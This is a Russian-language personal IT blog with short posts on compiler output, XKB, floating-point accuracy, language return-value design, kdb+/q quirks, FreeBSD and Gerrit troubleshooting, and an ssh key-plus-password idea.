[header]

Dec. 31st, 2030 11:00 pm
netch80: (Default)
Это субжурнал для [livejournal.com profile] netch по тематике IT. Все вопросы - к оригиналу.
netch80: (Default)
Исходник:

bool FixMessage::isResendable() const
{
    unsigned type = getType();
    return type != FIX_MT_LOGON && type != FIX_MT_HEARTBEAT &&
           type != FIX_MT_TEST_REQUEST && type != FIX_MT_RESEND_REQUEST &&
           type != FIX_MT_SEQ_RESET && type != FIX_MT_LOGOUT;
}


Выхлоп gcc:

0000000000438570 <_ZNK10FixMessage12isResendableEv>:
  438570:       8b 4f 0c                mov    0xc(%rdi),%ecx
  438573:       b8 01 00 00 00          mov    $0x1,%eax
  438578:       83 e9 30                sub    $0x30,%ecx
  43857b:       83 f9 11                cmp    $0x11,%ecx
  43857e:       77 12                   ja     438592 <_ZNK10FixMessage12isResendableEv+0x22>
  438580:       b8 37 00 02 00          mov    $0x20037,%eax
  438585:       48 d3 e8                shr    %cl,%rax
  438588:       83 e0 01                and    $0x1,%eax
  43858b:       48 83 f0 01             xor    $0x1,%rax
  43858f:       83 e0 01                and    $0x1,%eax
  438592:       f3 c3                   repz retq 


Кто-то догадался, что сократить проверку диапазона близких значений вычитанием базы - отлично.
Беззнаковое сравнение результата вычитания - очень остроумно.
xor с rax, когда достаточно с eax - чего пытаются добиться?
Финальный and с константой - разве из предыдущих команд не ясно, что там останется один бит?

Считаем контрольную сумму:

unsigned checksum(const char *m_begin, const char *m_before_csum)
{
    unsigned csum = 0;
    for (const char *p = m_begin; p != m_before_csum; ++p) {
        csum += *p;
    }
    csum &= 0xff;
    return csum;
}


Генерируем с векторизацией. Не буду приводить всю сумасшедшую простыню, только основной цикл:

        pxor    %xmm0, %xmm0
        addq    %rdi, %r9
        xorl    %edi, %edi
        pxor    %xmm6, %xmm6
        pxor    %xmm4, %xmm4
.L9:
        movdqa  (%r9), %xmm3
        movdqa  %xmm6, %xmm1
        movdqa  %xmm4, %xmm5
        addq    $1, %rdi
        pcmpgtb %xmm3, %xmm1
        movdqa  %xmm3, %xmm2
        addq    $16, %r9
        cmpq    %rdi, %rdx
        punpcklbw       %xmm1, %xmm2
        punpckhbw       %xmm1, %xmm3
        pcmpgtw %xmm2, %xmm5
        movdqa  %xmm2, %xmm1
        punpckhwd       %xmm5, %xmm2
        punpcklwd       %xmm5, %xmm1
        movdqa  %xmm4, %xmm5
        pcmpgtw %xmm3, %xmm5
        paddd   %xmm1, %xmm0
        paddd   %xmm2, %xmm0
        movdqa  %xmm3, %xmm2
        punpcklwd       %xmm5, %xmm2
        paddd   %xmm2, %xmm0
        movdqa  %xmm0, %xmm1
        movdqa  %xmm3, %xmm0
        punpckhwd       %xmm5, %xmm0
        paddd   %xmm1, %xmm0
        ja      .L9


Кто может объяснить, чем нуль в xmm4 принципиально отличается от нуля в xmm6, и почему их нельзя было объединить?

В пропущенной части: до начальной границы 16 байт - короткий простой цикл по байту, но после последней такой границы - цикл развёрнут в 15 отдельных групп со сравнением в каждой на достижение конца входного массива.

Замена char на unsigned char убирает только сравнения (pcmpgt*). Два разных нуля остаются.

За окном шёл снег и два нулевых регистра.
netch80: (Default)
Вот XKB весь из себя такой конфигурируемый в 10 слоёв абстракции, но что происходит при отработке Ctrl - зашито в код намертво:

char
XkbToControl(char ch)
{
    register char c = ch;

    if ((c >= '@' && c < '\177') || c == ' ')
        c &= 0x1F;
    else if (c == '2')
        c = '\000';
    else if (c >= '3' && c <= '7')
        c -= ('3' - '\033');
    else if (c == '8')
        c = '\177';
    else if (c == '/')
        c = '_' & 0x1F;
    return c;
}


и в этом есть несколько совершенно неожиданных вещей (например, почему "забой", который 0x7f и традиционно передаётся как ^?, они сделали ^8, а ^? даёт то же, что ^_ ?)

Похоже, это очередное место типа "40 лет назад сделали на 'отцепись', а теперь фиг поменяешь".

Да, и место, где эта функция, совершенно "ожидаемо" - XKBBind.c в libX11 (что в этой трансляции от слова bind?)
netch80: (Default)
После апгрейда убунты 14.04 -> 16.04, оказалось, залип pip2 в состоянии "я не знаю, что тут у вас, но я хочу версию 1.5.4, и идите к лешему".
После ручной замены на актуальную (8.1.1) в его стартовом скрипте - он даже дал себя проапгрейдить реально и заменил этот скрипт на такой, где версия не вшита.

Что полечилось - хорошо, но такой стиль бутстрапинга как-то смущает задним числом.
netch80: (Default)
Я понял, какой программе переписка на Go безусловно на пользу: это systemd-init.

Вторым должно пойти /rescue/* из FreeBSD. И, в принципе, на этом список кончается :)
netch80: (Default)
Программа:

#include <math.h>
#include <mpfr.h>
#include <stdio.h>

double fpu_sin(double x) {
  double r;
  r = sin(x);
  return r;
}

int main() 
{
  int i;
  int cd = 0;
  for (i = 0; i < 3000000; ++i) {
    double x = i * 1.0e-6;
    double r1 = fpu_sin(x);
    double r2;
    mpfr_t mx, mr2;
    mpfr_init2(mx, 53);
    mpfr_init2(mr2, 53);
    mpfr_set_d(mx, x, MPFR_RNDN);
    mpfr_sin(mr2, mx, MPFR_RNDN);
    r2 = mpfr_get_d(mr2, MPFR_RNDN);
    mpfr_clear(mr2);
    if (r1 != r2) {
      printf("Mismatched: x=%.20lg(%a)", x, x);
      printf(" r1=%.18lg(%a)", r1, r1);
      printf(" r2=%.18lg(%a)", r2, r2);
      printf("\n");
      if (++cd > 10) {
        break;
      }
    }
  }
  return cd ? 1 : 0;
}


На glibc 2.23 расхождений нет, программа выдаёт пустой выхлоп.

На FreeBSD (10.3, amd64) их много, вот первые несколько:

Mismatched: x=0.00260599999999999981(0x1.5592d98bf7f06p-9) r1=0.00260599705034083228(0x1.5592c0359972bp-9) r2=0.00260599705034083185(0x1.5592c0359972ap-9)
Mismatched: x=0.0098189999999999996(0x1.41bfbdf090f73p-7) r1=0.00981884222127722001(0x1.41be6b1ccbce4p-7) r2=0.00981884222127721827(0x1.41be6b1ccbce3p-7)
Mismatched: x=0.0187539999999999998(0x1.3343fa2ad3e92p-6) r1=0.0187529006832448421(0x1.333f5dc8f0659p-6) r2=0.0187529006832448386(0x1.333f5dc8f0658p-6)
Mismatched: x=0.0191819999999999977(0x1.3a4723aafff36p-6) r1=0.0191808236882919231(0x1.3a42349ce64acp-6) r2=0.0191808236882919196(0x1.3a42349ce64abp-6)


везде на 1 бит, но заметно.

Хм, я думал, что уж требования IEEE754 будут выполнять.
Или не верить MPFR? Это, кажется, уже перебор будет.
netch80: (Default)
Интересно и немного забавно наблюдать, как новые языки программирования разворачиваются от старой кондовой концепции "функция может возвращать только одно значение".

C сохраняет подход с единственным значением. Где нужно возвращать более одного значения - начинается передача по указателю (примеры на каждом шагу).

В C++ уже можно за счёт tuple делать возврат с распаковкой в набор переменных, хотя реализация этого на уровне ABI скорее всего идёт через структуру в памяти, а не регистры. Ну и передача по ссылке, конечно же, как косвенный метод (с затратами памяти).

Pascal - та же передача по ссылке.

Forth изначально не имел этой проблемы (хотя держание всего на стеке - само по себе источник тормозов).

В Java формально одно значение (возврат объекта, пока нет value types, слишком дорог, хотя JIT это может соптимизировать). В результате возникают ситуации типа возврата массивов, или битовых трюков (которые работают только потому, что нету типов целых беззнаковых; заметим, что в этой доке везде пишут -1-x, а не ~x - почему?)

В C# вначале сделали out-параметры (и, я считаю, требование писать out и ref в списке параметров фактического вызова - гениальное и чрезвычайно важное требование; Паскаль до этого не дошёл), теперь наконец добавили кортежи.

Fortran за счёт требования передачи по ссылке или входного-выходного копирования всех параметров решал это изначально (считаем, что аналог ref из C#) и даже чрезмерно (вспомним тему модификации константы).

Динамические языки (типа Python, JS, Erlang) возвращают по-прежнему одно значение, но за счёт того, что оно может быть кортежом (списком...), получается произвольное количество (за счёт затрат на распаковку) - не решение, но лёгкий обход проблемы.

Go, Swift, Rust - возврат нескольких параметров сделан изначально.

Но на уровне скомпилированного кода приходится ориентироваться на монстров компиляции C, так LLVM сделал возможность возврата нескольких параметров, а GCC - нет. Он тормозит всех. В результате в свежайших разработках типа RISC-V ABI имеем только одно возвращаемое значение (может растягиваться на два регистра, сути это не меняет). Не могу нагуглить, что мешает GCCʼшникам.
netch80: (Default)
Обновление Perl до 5.24 принесло, что defined() нельзя применять к массивам (уж не помню, для какой версии это рекомендовалось - чуть ли не 5.5, наверно), сломав скрипты домашнего mailnews. Фикс тривиален.

Зато на Centos 7 используется 5.14 - это ж в какой древности они его такой закрепили.
netch80: (Default)
Кого задолбали перепутанные кнопки мыши на скроллбарах gtk3 - лекарство.
Я с этим столкнулся, проапгрейдившись до (K)Ubuntu 16.04.
netch80: (Default)
Видел ли кто-нибудь в природе профайлер для C/C++, который бы выдавал не только среднее, а ещё и как минимум стандартное отклонение? (А с задаваемыми квантилями так полное Щастье было бы)
Для начала в пределах opensource.
netch80: (Default)
Сегодня впервые в жизни применил устойчивую сортировку, и впервые за последние, наверно, лет 5, сортировку вообще. Может, и больше времени прошло (что-то мне такое смутно вспоминается из раннего массолита). (Всякие du -akx | sort -rn | less не учитываю.)

В то же время построения на std::map используются постоянно.
netch80: (Default)
Хочется странного. При стандартной авторизации ssh по ключу есть кодовая фраза на стороне клиента. При этом он может менять её, отдавать ключ другому, контроль доступа слабоэффективен (по ip не годится, если ip может меняться)...
Вот если бы ключ принимался, но при этом сервер требовал дополнительный пароль. После успешного входа - попадает в полноправного пользователя (но, если не знает основной пароль пользователя, не может управлять доступом).
Для самого ssh можно к ключу добавить forced command (типа "ask-password foo"), но дальше пароль должен попросить кто-то другой. Причём желательно, чтобы управление доступом тут (какие есть дополнительные пароли (названия - ключи к словарю) и сами пароли) было доступно пользователю не по умолчанию, а через свой основной пароль.

Один вариант реализации понятен - вход в дополнительного системного пользователя, который имеет право sudo su в основного. Но это очень громоздко и требует странных подпорок. А более прямо?

Я бы накостылял что-то в духе:

1. /var/lib/add_pass/$user/$key - хэш пароля
2. /usr/lib/add_pass/check $key - forced command для ключа, проверяет пароль, для доступа к п.1 требует suid или лучше sgid.
3. /usr/lib/add_pass/control - средство управления - тоже шлюз привилегий.

Как защитить authorized_keys?

Или убедите, что это всё бесполезно, если вообще кого-то пускаем шеллом :)
netch80: (Default)
https://laurent22.github.io/so-injections/
Это адский мрак. Половина вопросов с дырами => из них половина выйдет в релиз нелеченными.
netch80: (Default)
Обычный рабочий вечер, переписка в slack после того, как некий запрос завесил сервер так, что Ctrl+C из локальной консоли не помогло.

user1: почему запрос `select count time/5 from sesslog` убил кдб сервер?
user2: http://code.kx.com/wiki/Reference/Slash
user3: я подозреваю что user1 хотел разделить на 5))
user2: 1. приоритет операций строго справа налево. если нет скобок
user2: 2. для деления используется %, а не /
user2: Или div если целочисленное
user1: почему убилось kdb
user2: 3. если нужно считать кол-во записей, используйте i вместо имени столбца.
VN: user2, ты как на русском форуме - отвечаешь на что угодно, кроме исходного вопроса
user2: Валик, я ткнул носом в доку
VN: user2 блин. Можешь объяснить, при чём тут over к глобальному заклину процесса?
user1: хорошо.
user1: что из этого http://code.kx.com/wiki/Reference/Slash
user1: и почему
user3: потому что твой овер рекурсивно выжрал всю доступную память процессу
VN: неправда.
VN: я вот тут воспроизвожу - память не меняется, хотя процесс жрёт 100%
user2: over: The iteration form of / terminates when either: (1) two successive results agree within comparison tolerance or (2) the result matches the initial input. The latter will save you from some infinite cycles but not all
user2: converge: When / is following a monadic function f/[g;x] will apply f to x until g returns 0b
VN: user2, ты программист. Я это понял.
guru4: а вы смотрели, во что он скомпилился? на K
guru4: (,`x)!,((/;`time);#:;5)
guru5: а ну да, теперь все понятно
(под репликой чужой смайл типа "слёзы из глаз от смеха")
user1: и это зацикливает инстанс?
guru4: да
user1: и какое поведение будет если добавить нитей?
user1: как, кроме как административно, избежать отказа в обслуживании
guru5: а в нашем интерпретаторе подсчет инструкций и всегда отдается yield в интерпретатор :)
guru4: это вежливый, хороший интерпретатор
guru4: а К просто крутит цикл

Картинка в тему.
netch80: (Default)
Весьма недавняя концепция "пяти миров" программирования, совершенно актуальная на момент её публикации, сейчас ни на что уже не годится. Зачатки были видны уже тогда, но вряд ли можно было оценить их масштаб.

На 2000 год ~80% усилий приходилось на "внутреннее" ПО. Но появился мир онлайна и соответствующих технологий, причём поглотив существенную часть и "внутреннего", и "коробочного"/"ширпотреба", и игр (убрав фактор одноразовости). И не просто появился, а приближается к основному по размаху (а судя по местам скопления молодёжи, типа DOU, >50%, если не 80%). Спольски его упоминает как частный случай "ширпотреба", но это уже не так. По свойствам он не ложится ни на один из предшествующих. Подходы к разработке (на серверной стороне - особенно, на клиентской - частично) больше соответствуют "внутреннему", чем "ширпотребу", из-за давлений на темпы разработки и резкого смягчения ограничений на переносимость (браузеры более сходны, чем разные среды для ОС; даже для мобилок есть обобщённые среды разработки). Соответственно, "гуру" получили резкое расширение поля деятельности. Внутренности серверных сторон - между "внутренним" и "консультационным", но грязное бельё уже никто не считает (или сделал это мелким частным случаем). Юзабилити критично. Код клиентской стороны закрыть невозможно. Полностью частные разработки не окупаются, зато очень много переносимого в реализациях.

Игры - прежних коробочных бегалок больше не осталось. Всё больше чем "Angry Birds" ушло в Интернет и создало новую структуру, ориентированную на многолетнюю игру. С другой стороны, все наработки 30-50-летней давности ещё от игровых автоматов на дискретной рассыпухе и вплоть до PCʼшек конца 80-х успешно слились в мобайл.

И embedded не тот (хотя вполне себе торт) - старые ограничения с выжимкой каждого байта теперь даже не в каждой SIMке, а если не сохранять тупое legacy, то 32-битный проц с полумегом оперативки идёт за 1$ в большом тираже (так что старперы-брюзжатели на 8051 уже даже не смешны).

<mode="капризный_блоггер">А что теперь, когда, говоря упрощённым языком, закон Мура останавливается? Куда повернётся ещё через 10 лет?</mode>
netch80: (finch)
Это надо занести в хрестоматию как чистейший пример фатального неумения писать документацию.

     __asm__(".symver original_foo,foo@");
     __asm__(".symver old_foo,foo@VERS_1.1");
     __asm__(".symver old_foo1,foo@VERS_1.2");
     __asm__(".symver new_foo,foo@@VERS_2.0");
[...]


When you have multiple definitions of a given symbol, there needs to be some way to specify a default version to which external references to this symbol will be bound. You can do this with the `foo@@VERS_2.0' type of `.symver' directive. You can only declare one version of a symbol as the default in this manner; otherwise you would effectively have multiple definitions of the same symbol.

(источник)

Из такого объяснения в принципе непонятно, что играет роль признака "default version" - номер версии, порядок объявления, или два '@' вместо одного (правильно - последнее, но его тяжелее всего заметить). Автору данного пассажа из документации правильный ответ известен, но он просто не в состоянии догадаться, что тот, кто его не знает, не поймёт такого объяснения.

Сомневаюсь, что стоит посылать жалобу (пусть даже с патчем) - если рассматривать будут те же, они просто не поверят.
netch80: (finch)
Пересобрал тут одну программку, а в ней main() видно не как main, а как main@@Base, и аналогично все прочие символы из основного кода.
Откуда это - в принципе понятно. Непонятно, чего хотят этим добиться.

wrike suxx

Dec. 20th, 2016 01:02 pm
netch80: (bird)
У нас тут в качестве трекера wrike используется, так вот что я вам имею сказать: я такого аццкого, феерического дерьма не видел вообще. (Почти) любая другая система, даже богом проклятая JIRA, будет лучше.
Причём засада не в формальных возможностях, а в деталях реализации. Всё, что можно было сделать через зад, сделано именно через зад, причём ещё и с приподвывертом.
А ещё она страшно тормозит.

UPD: а рекламная джинса от Blogeratorʼа особенно позорна.
netch80: (bird)
На свежекупленном лаптопе

model name : Intel(R) Pentium(R) CPU 4405U @ 2.10GHz
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave rdrand lahf_lm abm 3dnowprefetch epb intel_pt tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust erms invpcid rdseed smap clflushopt xsaveopt xsavec xgetbv1 dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp

я понимаю, что "мобилко" 13″, но на этом SkyLake даже простейшего AVX нету.
Зато зачем-то popcnt, movbe и rdrand.
netch80: (bird)
ЖЖ то ли сходит с ума, то ли намеренно офейсбучивается - френдлента у данного юзера показывает только одну последнюю страницу (до 50) записей, а дальше, видите ли, ничего нету. Никакие явные /?skip=N не помогают - нету, и всё тут.
Настроек на эту тему не нашёл.
netch80: (finch)
Удобно, когда пачка кросс-компиляторов доступна из коробки без мучений.

$ ls -ld qmodo*_s
-rwxrwxr-x 1 netch netch 344456 лис 24 21:19 qmodo_aa64_s
-rwxrwxr-x 1 netch netch 340376 лис 24 21:10 qmodo_amd64_s
-rwxrwxr-x 1 netch netch 531552 лис 24 21:25 qmodo_mips64_s
-rwxrwxr-x 1 netch netch 466088 лис 24 21:17 qmodo_ppc64_s
-rwxrwxr-x 1 netch netch 355752 лис 26 14:43 qmodo_rv_s
-rwxrwxr-x 1 netch netch 408640 лис 24 21:11 qmodo_s390x_s
-rwxrwxr-x 1 netch netch 336776 лис 24 21:35 qmodo_sparc64_s


Сборка, потом --strip-all. Везде gcc5 (Ubuntu 16.04) (Risc-V - gcc6), -O.
x86 таки почти всех победил (по размеру, а вы о чём подумали?)
Результат MIPS удивляет.
netch80: (bird)
address.sin_port = htons( ( port & 0xff )<<8 | (port & 0xff00) >> 8);


Смысл этой конструкции от меня ускользает. (Особенно, когда через несколько строк address.sin_port передаётся в функцию, которая ждёт значение в host order.)

А если в Java написать Integer.reverse(x) вместо Integer.reverseBytes(x), без привлечения утёнка проблема не решается.
netch80: (bird)
Дискуссия прошла в Fido, пересмотрел - думаю, стоит сделать копию в чём-то индексируемом.

Read more... )
Смотря на более поздние языки (от Java и вплоть до Go, Rust и прочих) - там все описанные проблемы „урезают“ - видимо, считают неподъёмным основной массе?
netch80: (bird)
Дочка сдаёт задачи по программированию, как это сейчас модно, через e-judge и аналогичные системы.

Первая задача: много вывода. Лимит времени работы в системе - 100 мс. На моём десктопе показывает 45 мс. Вывод через cout << val. Вспоминаю рассказы про тормознутость iostreams, подсказываю про stdio. Переписывает, сдаёт. Локально время сократилось до 2 мс. В целевой системе - прошло.

Вторая задача: очень много ввода (максимум теоретически возможного по условиям - 20 миллионов intʼов). fscanf даёт 1.2 секунды. Ручная замена на враппер вокруг getc() - ~0.2 секунды. Лимит в системе тот же - 100мс. Всё равно много. Вытаскивает вчерашний вариант на Паскале, исправляет ошибки, отправляет. Проходит. Сравниваю время после локального freepascal. 3 миллисекунды(!)

Сначала я подумал, что случилось чудо и паскалевцы сумели оптимизировать до предела. Но решил посмотреть внимательнее. Когда ktrace показывает, что из файла на 10M целых читается только 256 байт... мягко говоря, странно. Пропущу пляски с бубном, но результат раскопок: во FreePascal двухбайтный integer. Соответственно, 10000000 превратилось на чтении обычным read(n) в... -27008. Последующий цикл чтения for i:=1 to n тупо выполнился ноль раз. А тесты как раз сошлись так, чтобы повторить эту ошибку.
Посмотрел, что там longint - 4 байта, заменил все integer на него. Время работы на те же 20M целых поднялось до 1.7 секунды. Что ж, отсутствие чуда уже доказано.

Вот как можно на таких допотопных средствах детей учить?
netch80: (bird)
Что-то Rust начинает удивлять "не по-детски". 320MB итогового пакета компилятора. 1.9GB для сборки. ~40 минут компиляции на вполне современном процессоре. И это ещё с внешним LLVM. Боюсь, со встроенным это бы утроилось.
GCC умеет несколько языков и занимает меньше :)
netch80: (finch)
Перешёл на новое железо (i3-4170 + AsRock B85M Pro4), фряха 10.3.
При загрузке - получил panic быстро пролетающий (ни одной подробности
схватить не успевал).
Нашёл старое ядро от 10.2, загрузился до single. Собранный там же
GENERIC начал точно так же дёргаться. Покурив гугл, собрал
GENERIC+DDB, увидел панику сразу после "random: unlocking device".
Пересобрал с random, но без rdrand_rng - взлетело нормально. Ooook...
попытался загрузиться снова с GENERIC+DDB, чтобы сфоткать панику - не
хочет паниковать...

Дёргать машину ещё раз не хочу, но такое впечатление, что в 10.2 или
ранних 10.3 криво собирали использование rdrand, но вылезло оно только
там, где он появился. (Это ядро от 10.3 было собрано, похоже, ещё в
процессе перехода от 10.2, потом не clean'илось на новые патчи.)
При том, что в 10.2 такая же rdrang_rng, и без проблем.
Гугление ничего внятного про такое не рассказывает (есть рассказ про
10ку "мы напрямую не отдадим RDRAND в /dev/random, мы его всё равно
прогоним через Yarrow", но это совсем не то.)

Оставляю это здесь в качестве предупреждения о переходных граблях.
netch80: (finch)
Цикл оптимизации скорости программы завершился результатом типа "плевать на алгоритмы, лишь бы памяти мало расходовалось". Представление данных через std::string с сжатием/раздвижением по необходимости оказалось заметно выгоднее красиво разложенного по полям с инлайнингом содержимого.

Что RAM это сейчас для процессора разновидность внешнего устройства, медленного и тоскливого - я теоретически знал, но вот прощупать это настолько на практике довелось только сейчас.
netch80: (bird)
Выложил на гитхаб свой трактат о протоколах и форматах (начатый ещё в LN, до сих пор представленный только на собственном сайте). Не в последнюю очередь из-за того, что на гитхабе другим удобнее следить за изменениями:)
Перевод на английский - будет по мере поступления времени и вдохновения.
netch80: (bird)
Чувствую себя героем ЖЖ 10летней давности (zavulonium, что ли?), который рассказывал, мол, любовался девушкой в метро, и тут она загнула уголок страницы в книге, и дальше что-то в духе "на душе стало пусто и гадко. дешёвка." Так вот - читаю русский перевод "Digital Design and Computer Architecture" (Harris + Harris) (разрекламированный юзером panchul), читаю и вижу:

Память с побайтовой адресацией может быть организована с прямым порядком следования байтов (от младшего к старшему; англ.: little-endian) или с обратным порядком (от старшего к младшему; англ.: big-endian), как показано на Рис. 6.3.


Удивился, смотрю в оригинал, и там нет ничего про "прямой" и т.п.:
Byte-addressable memories are organized in a big-endian or little-endian fashion, as shown in Figure 6.3.


Дорогие товарищи/господа переводчики, этот вопрос не зря был в итоге сочтён религиозным, и авторы оригинала правильно ушли от оценок (и даже применили слово "fashion", которое подчёркивает отсутствие единственной правильности). А манера такого перевода называется подлостью и одного этого достаточно, чтобы испортить всю книгу - неизвестно, сколько ещё подобных мин разложено по тексту.

Итого - настоятельно рекомендую читать оригинал и игнорировать нечистоплотный "перевод".

P.S. Недавно у кого-то из крупных блоггеров был тезис, что из-за плотного потока оплаченной пропаганды во всех сферах скоро источники на русском будут котироваться даже не по нулям, а в минус. Но я надеялся, что чисто технических вопросов это не коснётся. Жаль, был наивен.

UPDATE: а давайте так: BE - нисходящий, LE - восходящий. (Украинский: спадаючий і зростаючий, відповідно.)
netch80: (bird)
Числовое деление в современных процессорах - это какой-то странный забытый всеми пасынок. Я понимаю, что для лайкания котиков или раскодировки видео его скорость, скорее всего, не важна. Но когда пытаешься выжать ещё полпроцента из программы и видишь кучу делений на неконстанту(!) в методах std::deque или std::unordered_map, начинаешь задумываться. А тут показывают проблемы от деления в хэшмапе, которая самая что ни на есть базовая структура, и тоже никто не оптимизирует под константу даже при постоянном размере хэша - и эти чудеса от деления вылазят в полный рост.

Беру тестовый пример (код ниже) и сравниваю скорость одного и того же 32-битного деления Read more... )
netch80: (bird)
А мне эта новость нравится. Потому что она означает, что идёт развитие и перекраивается внутренняя организация. А ещё тем, что фикс, говорят, есть.
Скорее всего, он будет в паре бит конфигурации типа "вот этот суперрежим мы пока отменим, он опасный", но хорошо, что предусмотрели такую возможность для каждой мелкой части.
http://habrahabr.ru/company/pt/blog/274939/
http://arstechnica.co.uk/gadgets/2016/01/intel-skylake-bug-causes-pcs-to-freeze-during-complex-workloads/
netch80: (bird)
Если что-то внутрях у такого монстра, как FB, не работает - ну там нейтрино лишнее пролетело, провода в православизаторе перепутались, хакеры DDDoS устроили или мекс на свиче заветную кнопку "Reset to factory settings" придавил - это вообще должно юзеру показываться, пусть даже в виде вопросительного знака гифом 1x1 пиксель, или это лишнее знание?
Что какие-то посты показываются через раз, или лента вдруг заканчивается без возможности нажать "ещё подгрузить" - это уже привычно. Но вот сочетаний букв в списке друзей ещё не было.
Ссылка, в отличие от настоящего "френда", ничего не содержит. Явный поиск ничего с таким именем даже не в "друзьях" не находит. Но при перезагрузке страницы списка оно восстанавливается - значит, этот артефакт сел в базу. Теперь он может так сидеть вечно, пока не пройдёт робот-чистильщик (а есть он?) или пока я явно не скажу удалить.

Из всего этого получаются интересные выводы.

1. Одна из целей первичного Big Data (уже уходящего мема) - работа систем даже при отказе их частей - достигнута. Но не за счёт всех этих страшных мер типа "распределённых хранилищ", корректности разложения данных, кворума при записи и т.п. - а просто за счёт того, что данных так много, что отсутствие их части просто не замечается. Выпал десяток постов? Фиг с ним. Из-за кривизны фильтров месяцами не видишь чьих-то постингов? И так полна лента котегов. Если ты явно про кого-то не вспомнил - он только элемент статистики. Важно только свежее и актуальное. Не оглядывайтесь в прошлое, двигайтесь вперёд. Котеги в помощь.

2. Как следствие предыдущего - корректность работы информационной системы типа Facebook вообще никого (опять же статистически) не интересует. Интересуются этим только отдельные отклонения (типа меня), которые ещё помнят, что бывает и надёжный софт. "90% качество - не брак". И впрямь, это же не 10%, как "пятый сорт".

3. Facebook - это (вложенная) реализация исходного интернета в миниатюре. Он в целом работает, даже если 90% отдельных частей поражено (войной, чумой, крезой). Но это является технологическим следствием предыдущего; а вот следует ли из этого, что он на логическом уровне вообще неотличим от "внешнего" интернета?

(и тоже кросспост из FB, как ни странно. там же не найти уже через месяц)
netch80: (bird)
Создатели юникода - скрытые поклонники vi, потому что выделили ему отдельный символ: ⅵ
А вот у MultiEdit знаки какой-то непонятные: ም Ꮊ ᒣ ᘊ め メ

(cross-posted from FB)
netch80: (bird)
Well, there is the word for 8 bits - "byte"; moreover, "octet" for those who can't hear any b*t without wrong connotations; but where are the words for higher powers of 2?

Don't recall "word"; a true word is always at least 32 bits, but heretics from x86 world spoiled it finally. Also, all such "octabyte" are long and ugly. Imagine "octaoctet", huh? No, the true words shall sound quite different, to avoid any chance to mix them in the same context.

For 16 bits, the solution is obvious: hexa- -> a sheck. Yes, some like "shack", because 16 bits are now enough only for an old hut of grass and branches.
(Russian: 1 ше́ка)

For higher values, it's some harder. We need an inspiration source not tied with traditional IT languages and nevertheless usable. After some search, I've stopped on Crimean. So, 32 bits = tuze (from: 32 = otuz iki) (Russian: 1 тью́за)

64 = amada, because of: altmış + dört; OTOH the consonant skeleton AMD hints at AMD64 invention, the most popular 64-bit computing source now. Vowels are arbitrary (but, "umudu" is definitely the worst). (Russian: 1 ама́да)

128 = yermezeck (yüzyirmi sekiz); yep, it's long, the same as the data value :)

So, finally,
1 sheck = 2 bytes (octets, pardon my French) = 16 bits
1 tuze = 2 shecks = 4 octets = 32 bits
1 amada = 2 tuzes = 4 shecks = 8 octets = 64 bits
1 yermezeck = 2 amadas = 4 tuzes = 8 shecks = 16 octets (a minimal useful cache line size) = 128 bits

Enjoy and use it thoroughly.

We also shall get rid of awful IEC kibi/mebi/gibi (who, the hell, can distinguish kibi from gibi in a noisy conference hall?) Suggestions:

* 1024^1 = kano-
* 1024^2 = maro-
* 1024^3 = gaido-
* 1024^4 = testo-
* 1024^5 = pempo-
* 1024^6 = erfo-
* 1024^7 = zelmo-
* 1024^8 = yorgo-

Example: 2^31 bits = 2 gaidobits = 64 marotuzes.
netch80: (bird)

Сегодня мы представляем яркого представителя NoSQL мира, kdb+ - "time series database" системы "колоночник", популярную в кругах алгоритмического трейдинга и околобиржевого процессинга. Имеет встроенные языки, называемые q (более человеческий, по публичному утверждению авторов) и k (сами догадаетесь). 32-битная версия бесплатна. 64-битная версия продаётся, по слухам, за 50000$ за рабочее место. (Я ничего такого не слышал и не знаю, где эти слухи ходят! Все имена и цифры выдуманы.) Посмотрим, какой фантастический функционал предлагают за эти, не боюсь откровенного слова, смешные деньги.

Пример кода на q:

ld:{if[not type key L::`$(-10_string L),string x;.[L;();:;()]];i::j::
  -11!(-2;L);if[0<type i;-2 (string L),
  " is a corrupt log. Truncate to length ",(string last i)," and restart";exit 1];
  hopen L};

Эта система - для настоящих профессионалов, которые ценят свои вложенные усилия и хотят получить достойную оплату своего труда. Хотя кое-что не соблюдено: по ней печатают книги. Боюсь, зря: надо было ограничиться курсами.

Начнём с простого. Чему равно 3+4*5? Калькулятор Microsoft Windows в чайниковском режиме скажет 35, в инженерном - 23. Проверяем:

q)3+4*5
23

Кажется, что всё как обычно? Переместим умножение.

q)3*4+5
27

Вы ожидали 17 в любом случае? Вы ничего не понимаете. Надо думать как "ненаучный" режим, но считать справа налево, а не слева направо. Привыкайте к миру высоких биржевых технологий, где ask это продажа, а bid это покупка. Скобки - ваш друг:

q)(3*4)+5
17

Кстати, тут круглые скобки. Но не обольщайтесь! В отличие от ламерских языков навроде Python и Javascript, для вызова функции нужны [квадратные; скобки], а для записи списка (круглые;скобки); аргументы, естественно, разделяются не запятой, а точкой с запятой:

q)a:{x+y}
q)a[3;4]
7
q)last `a`b`c
`c
страньше и чудесатее )

Надеемся, что наше короткое введение, особенно ценное для пользователей таких хило-студенческих и бесперспективных языков, как C++ и Java, поможет вам войти в мир настоящих профессионалов программирования. Не надо бегать за курсами на Forex, ваш удел - непосредственно создавать колебания курсов!

netch80: (bird)
(на английском для правильной индексации)

After `ssh -p 29418 gerrit gerrit gc -all`, it fell into offline mode with message in error.log:

java.lang.IllegalStateException: Missing project All-Projects

At the same time, All-Projects was present and almost correct, except absense of ./HEAD.

Fixed by creating HEAD with a single line:

ref: refs/heads/config

(really its contents aren't important)

но напугался заметно.

thru carry

Nov. 7th, 2014 08:57 pm
netch80: (bird)
Мини-квест для пользователей десктопов и лаптопов, в общем, x86: найдите хоть одну команду RCL или RCR в естественно возникшем (из пакетов, etc.) программном коде на своей системе. Ложные срабатывания (показ мусора как кода в mplayer, libavcodec) не в счёт.

У меня пока что результат - только libgmp с куском хитрой арифметики (__gmpn_rsh1add_n, __gmpn_rsh1sub_n и тому подобные), причём там сдвиги ровно по 1 биту, и libgcrypt (в OpenSuSE), с каким-то бешеным алгоритмом, аналогично.

